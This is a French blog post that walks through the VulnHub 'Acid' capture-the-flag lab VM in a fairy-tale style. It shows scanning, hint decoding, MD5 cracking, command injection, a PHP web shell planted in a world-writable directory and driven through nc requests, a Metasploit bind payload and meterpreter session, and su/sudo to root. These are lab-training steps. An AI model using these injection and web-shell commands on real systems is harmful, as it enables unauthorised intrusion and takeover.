jeudi 20 août 2015

Challenge estival - Acid et VulnHub, Enquête au Royaume des Fées

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)


Après avoir joué avec grand plaisir avec le challenge NullByte proposé par @ly0nx, je me lance dans le tout nouveau challenge @vulnhub : le challenge Acid Server proposé par @m_avinash143 sans indication sur le niveau d'expertise requis mais avec l'information "This Virtual Machine is completely web based".

Il était une fois


Il était une fois un joyeux ménestrel nommé @m_avinash143 qui au retour d'un voyage dans les Mondes Enchantés décida d'ouvrir une porte vers le Royaume des Fées. Décidant à mon tour d'arpenter ces féériques contrées, je me met en chasse de la première porte avec un sortilege nmap qui échoue. J'améliore mon sort nmap vers le niveau 1 à 65535 et la porte 33447/TCP s'illumine.
root@kali:~# nmap -sT -A 192.168.80.133 -p 33447 
[...]
PORT      STATE SERVICE VERSION
33447/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-server-header: Apache/2.4.10 (Ubuntu)
|_http-title: /Challenge


Wow


En examinant avec attention le chambranle de cette première porte, je constate une ligne de runes qui scintille de poussière de fée.. wow..
"<!--0x643239334c6d70775a773d3d-->"
root@kali:~# printf "%b\n" \\x64\\x32\\x39\\x33\\x4c\\x6d\\x70\\x77\\x5a\\x77\\x3d\\x3d
root@kali:~# echo -n "d293LmpwZw==" | base64 -d
wow.jpg
Je contemple pensivement cette image "wow.jpg" et comprend ainsi qu'un indice nous a été laissé sous la forme d'une suite de runes MD5 correspondant au mot de passe "63425".. bien bien.. me voilà bien avancée..
root@kali:~/Desktop# strings wow.jpg | tail -n 1
;37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
root@kali:~/Desktop# (IFS=':' ; printf "%b" $(strings wow.jpg | tail -n 1 | sed 's/;/\\\x/g;s/:/:\\\x/g;'); echo)
root@kali:~/Desktop# echo 7aee0f6d588ed9905ee37f16a7c610d4 > john.txt
root@kali:~/Desktop# gunzip /usr/share/wordlists/rockyou.txt.gz
root@kali:~/Desktop# /usr/sbin/john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt john.txt
63425            (?)
Je tente également ma chance sur l'image "bg.jpg" mais sans grande conviction cette fois-ci hormis une suite de runes que je note sur mon parchemin pour la suite de l'aventure (trop de poudre de Fée peut-être).
root@kali:~/Desktop# strings bg.jpg  | grep 'u\*9'      
u*9:HIJXYZghijvwxyz
Après une heure de recherche je l'avoue je suis un peu bloquée... J'ai un mot de passe (?) mais pas la Fée à laquelle il correspond et aucune porte d'authentification. Mis à part croiser les doigts pour qu'un sortilège dirbuster me débloque je ne vois pas trop quoi faire..

/Challenge


Je lance mon sortilège dirbuster à l'aide d'un petit grimoire listant les répertoires, fichiers et autres extensions ".php" propres à ces incantations :


.. une demi-heure à attendre.. Je ne connais pas la question mais augmenter la puissance de mon sortilège à 42 volumes de thread me parait être une bonne réponse.. Huit minutes.. c'est plus raisonnable..


.. et là énorme sourire, la seconde porte d'entrée url au Royaume des Fées ("/Challenge") - tête de linotte que je suis - est écrite en indice flagrant comme "title" sur la porte d'accueil ("parlez, ami, et entrez") et je suis totalement passée à côté :-).


/Welcome to hell


J'étudie avec attention cette nouvelle porte d'authentification et note précieusement tous les indices sur mon grimoire au fur et à mesure : la page "js/forms.js" m'indique "Copyright (C) 2013 peredur.net", le titre de la page est "Secure Login: Log In". J'ouvre donc mon sac à main et extrait mon encyclopédie de recherche préférée..


.. qui me renseigne au chapitre Github.com sur une application qui semble correspondre à celle qui m'accueille actuellement et après quelques sommaires comparaisons je finis par tomber sur la bonne nouvelle suivante à la fin du chapitre readme :-)


 .. mot de passe par défaut que je m'empresse donc d'employer pour ouvrir cette nouvelle porte !


/Challenge - LFI


Je "proceed further" comme il m'est proposé et la porte suivante

 
.. présente une faille LFI étudiée, il me semble, en première année du cursus de la Guilde des Fées.


Je renseigne à nouveau cette information dans mon grimoire et retourne à mon sortilège dirbuster.

/Cake


Pas mal du tout pour un sortilège dirbuster invoqué "gentiment". Je consulte tout de même les autres artefacts que celui-ci a identifié et, chat échaudé craignant l'eau froide, constate immédiatement que les runes du chambranle de cette nouvelle porte "cake.php" ("/Magic_Box") sont probablement un nouvel indice :


.. et là ca vaut bien le coup de lancer à nouveau un sortilège dirbuster :-)


/Magic_Box


Ces sortilèges dirbuster me sont décidément bien utiles et une porte prénommée "command.php" vaut bien un détour..


 .. et une incantation d'injection standard en croisant les doigts : "127.0.0.1;id" :


Après la faille LFI précédente, je peux donc m'introduire dans le Royaume des Fées sous l'identité de la Fée "www-data" :-)

Mon entrée dérobée au Royaume des Fées


J'entre furtivement dans le Royaume des Fées en me téléportant dans l'une des résidences ("127.0.0.1;pwd" m'indique "/var/www/html/Challenge/Magic_Box") et vérifie si le silence des alentours témoigne d'une activité secrète ou d'une plaine sinistre et désolée  ("127.0.0.1;ls -l /var/www/html/Challenge/") et je note le répertoire "js" (@Nathplanteur :-D) en 777 qui témoigne d'une Fée bien peu attentionnée.

 
J'utilise un charme de reconnaissance pour localiser les clés des Maitresses Fées Gardiennes du Royaume ("127.0.0.1;find / -perm -4000 -ls") et constate que toutes les clés sont d'antiques artefacts de pouvoir qui semblent impossibles à contrôler.


J'utilise la résidence de la Fée JS pour déposer un charme d'empreinte du Royaume ("127.0.0.1;echo "<?php echo "ok"; phpinfo(); ?>" > /var/www/html/Challenge/js/jess.php")..


 .. et améliore mon charme pour accéder plus facilement au Royaume des Fées..


.. en vérifiant que mon charme supporte l'ancienne magie du fameux grimoire metasploit si celui-ci peut m'être d'une quelconque utilité pour la suite de mon aventure..


Enquête au Royaume des Fées


Je peux désormais arpenter à ma convenance le Royaume à la recherche d'une clé d'une Maitresse Fée et après quelques minutes de pérégrination constate que le Royaume fait l'objet d'une intrusion et que les Maitresses Fées tentent de contenir cet assaillant !


Poursuivant mon enquête, je constate que le Maléfique Sorcier est dénommé "saman" aka "1337hax0r" et qu'il n'a semble-t-il pas laissé de trace de son méfait. Mais les Maitresses Fées sont sur sa piste et discutent ("hint.pcapng") de sa capture.
CMD="ls -la /home"
total 16
drwxr-xr-x  4 root  root  4096 Aug  7 17:48 .
drwxr-xr-x 23 root  root  4096 Aug  8 11:00 ..
drwxr-xr-x 17 acid  acid  4096 Aug  8 11:47 acid
drwxr-xr-x  2 saman saman 4096 Aug  7 18:07 saman

CMD="find / -uid 1001 -ls"

CMD="find /sbin/ -uid 1000 -ls"
930316  800 -rwxr--r--   1 acid     acid       818744 Aug  7 16:09 /sbin/raw_vs_isi/hint.pcapng
root@kali:~# cd /tmp/ && wget http://192.168.80.134:33447/Challenge/js/hint.pcapng
root@kali:/tmp# file hint.pcapng
hint.pcapng: pcap-ng capture file - version 1.0
root@kali:/tmp# tcpdump -evXln -r hint.pcapng tcp | less
        0x0030:  000a 6db0 7361 6d61 6e20 616e 6420 6e6f  ..m.saman.and.no
        0x0040:  7720 6120 6461 7973 2068 6527 7320 6b6e  w.a.days.he's.kn
        0x0050:  6f77 6e20 6279 2074 6865 2061 6c69 6173  own.by.the.alias
        0x0060:  206f 6620 3133 3337 6861 7830 720a       .of.1337hax0r.
Je me repose un instant pour faire le point sur les indices à ma disposition pour trouver à mon tour un moyen d'accéder aux secrets du Royaume. J'ai donc une incantation "63425" dont je ne connais pas l'usage mais peut être pourrait-il me servir à obtenir les pouvoirs de la Fée Acid voir même de prendre l'apparence du Sorcier Saman le Maléfique ?

Je récite l'incantation "63425" pour prendre le contrôle des pouvoirs du Sorcier Saman mais le Royaume m'en interdit l'accès :-(
root@kali:/tmp# echo -en '#!/bin/sh\necho start\n/usr/bin/id\necho 63425 | /bin/su saman -c 'id' 2>&1\necho stop\n' | base64
[BASE64]
root@kali:/tmp# CMD="echo '[BASE64]' > /tmp/jess.b64" && echo -en "GET /Challenge/js/jess.php?shell_exec=$(echo $CMD | tr ' ' '+') HTTP/1.0\r\n\r\n" | nc 192.168.80.134 33447
root@kali:/tmp# CMD="/tmp/jess.sh" && echo -en "GET /Challenge/js/jess.php?shell_exec=$(echo $CMD | tr ' ' '+') HTTP/1.0\r\n\r\n" | nc 192.168.80.134 33447

start
uid=33(www-data) gid=33(www-data) groups=33(www-data)
su: must be run from a terminal
stop
Qu'à cela ne tienne, je perfectionne mon charme pour que le Royaume me laisse entrer :
cat > jess.code << EOF
#!/bin/sh
/usr/bin/id
echo start
(sleep 1; echo 63425) | python -c "import pty; pty.spawn(['/bin/su','saman','-c','whoami']);"
echo stop
EOF

uid=33(www-data) gid=33(www-data) groups=33(www-data)
start
Password:
su: Authentication failure
stop
.. Bon mon charme est effectif mais l'incantation "63425" ne me permet pas d'utiliser les pouvoirs du Sorcier Saman ou de la Féé Acid ou même d'accéder au contrôle temporel de la Maitresse Fée Root Gardienne du Royaume des Fées. Je tente ma chance avec quelques mystères obtenus lors de ma visite de la résidence "/var/www/html/Challenge/" : "VXNlcnMudHh0", "zbp.yvnzt@qvpn", "Y0dGemN5NTBlSFE9" et "__341xnurZ" mais ces tentatives échouent à nouveau.

.. Essayons à nouveau mais avec mon fameux grimoire Metasploit et une incantation Meterpreter..
root@kali:~# msfconsole
msf > use exploit/unix/webapp/php_eval
msf exploit(php_eval) > set RHOST 192.168.80.134
msf exploit(php_eval) > set RPORT 33447
msf exploit(php_eval) > set URIPATH /Challenge/js/jess.php?eval=!CODE!
msf exploit(php_eval) > set PAYLOAD php/bind_php
msf exploit(php_eval) > exploit

[*] Sending request for: http://192.168.80.134:33447/Challenge/js/jess.php?eval=error_reporting%280%29%3beval%28%24_SERVER%5bHTTP_X_SYSJDWXXZMJGDDQO%5d%29%3b
[*] Payload will be in a header called X-SYSJDWXXZMJGDDQO
[*] Started bind handler
[*] Command shell session 1 opened (192.168.178.134:33883 -> 192.168.80.134:4444)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^Z
Background session 2? [y/N]  y
msf exploit(php_eval) > sessions -u 2
msf exploit(php_eval) > sessions -i

Active sessions
===============

  2   shell php
  3   meterpreter x86/linux  uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33 @ acid 

msf exploit(php_eval) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > shell
Process 2191 created.
Channel 9 created.
/bin/sh: 0: can't access tty; job control turned off

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/js$

Après plusieurs heures à me battre désespérément contre des fantômes dans une plaine désertique et noircie par l'intrusion du Sorcier Saman le Maléfique pour identifier une escalade de privilèges valide sur cette version Ubuntu/Vivid du Royaume (dont le fameux bug #1447396 découvert par l'Enchanteur Tavis Ormandy ou l'exploit 37292 OFS - overlayfs chanté par le troubadour Rebel)


.. j'en suis rendue à l'évidence.. L'antique secret Root du Royaume des Fées demeure hors de ma portée. Qu'à cela ne tienne, je ne suis certainement pas la seule dans cette situation donc je brise le sceau d'un parchemin d'aide Twitter : "@unl1k3ly any hint-nospoil for me to step up from www-data? I'm lost in the Fairy Kingdom :'( CC ".

Les Maîtres du Royaume des Fées


Mon parchemin d'aide ne reste pas longtemps sans réponse et le joyeux ménestrel @m_avinash143 me recommande la saine lecture des comptes-rendus d'enquête publiés par les Maîtres du Royaume des Fées @g0blinresearch et Makman dans le Grand Recueil Magique @VulnHub.


A la lecture de ces comptes-rendus, je me rend compte que je suis tout simplement passée à côté d'un second indice "parlez, ami, et entrez" : le mot de passe "1337hax0r" de Saman le Sorcier Maléfique était connu des Maitresses Fées et celles-ci en parlaient dans l'échange "hint.pcapng" :'(

meterpreter > shell
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/js$ su - saman
su - saman
Password: 1337hax0r

saman@acid:~$ sudo -i
sudo -i
[sudo] password for saman: 1337hax0r

  ____                            _         _       _   _                
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                  
root@acid:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@acid:~# cat flag.txt
cat flag.txt


Dear Hax0r,


You have successfully completed the challenge.

I  hope you like it.


FLAG NAME: "Acid@Makke@Hax0r"


Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143

Conclusion


En conclusion, ce challenge Acid est tout simplement délicieux et malgré une pointe de déception liée à la frustration de ne pas être parvenue à le résoudre seule, je félicite chaleureusement le joyeux ménestrel @m_avinash143 pour cette aventure, l'équipe @VulnHub pour tous ces challenges et les deux Maîtres du Royaume des Fées @g0blinresearch et Makman dont j'ai lu avec attention les comptes-rendus d'enquête .

Et quant à moi j'ai passé quelques soirées féériques absolument délicieuses au Royaume des Fées.

Jess - @JessicaGallante

Aucun commentaire:

Enregistrer un commentaire

Votre avis ?